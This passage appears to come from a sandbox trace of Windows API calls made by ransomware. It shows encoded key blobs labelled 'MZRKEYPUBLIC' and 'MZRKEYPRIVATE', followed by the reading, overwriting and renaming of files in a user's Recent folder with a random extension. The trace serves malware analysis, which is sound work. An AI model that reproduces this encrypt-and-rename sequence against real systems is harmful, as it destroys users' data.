pE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0082.071] GetCurrentThreadId () returned 0xa30 [0082.072] GetCurrentThreadId () returned 0xa30 [0082.072] GetCurrentThreadId () returned 0xa30 [0082.072] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.072] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.073] GetCurrentThreadId () returned 0xa30 [0082.073] GetCurrentThreadId () returned 0xa30 [0082.073] GetCurrentThreadId () returned 0xa30 [0082.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my pictures.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.073] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.073] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.073] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x54f [0082.073] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.073] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x54f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x54f, lpOverlapped=0x0) returned 1 [0082.074] CloseHandle (hObject=0x124) returned 1 [0082.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my pictures.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.076] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x54f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x54f, lpOverlapped=0x0) returned 1 [0082.078] CloseHandle (hObject=0x124) returned 1 [0082.079] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my pictures.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my pictures.lnk.zv7un")) returned 1 [0082.080] GetCurrentThreadId () returned 0xa30 [0082.080] GetCurrentThreadId () returned 0xa30 [0082.080] GetCurrentThreadId () returned 0xa30 [0082.081] GetCurrentThreadId () returned 0xa30 [0082.081] GetCurrentThreadId () returned 0xa30 [0082.081] GetCurrentThreadId () returned 0xa30 [0082.081] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e6ee40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d7833e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7833e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x539, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="My Videos.lnk", cAlternateFileName="MYVIDE~1.LNK")) returned 1 [0082.081] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.081] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.081] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my videos.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e6ee40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d7833e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7833e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x539)) returned 1 [0082.081] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my videos.lnk")) returned 0x20 [0082.081] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk", dwFileAttributes=0x80) returned 1 [0082.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.085] GetCurrentThreadId () returned 0xa30 [0082.085] GetCurrentThreadId () returned 0xa30 [0082.085] GetCurrentThreadId () returned 0xa30 [0082.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.086] GetCurrentThreadId () returned 0xa30 [0082.086] GetCurrentThreadId () returned 0xa30 [0082.086] GetCurrentThreadId () returned 0xa30 [0082.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My 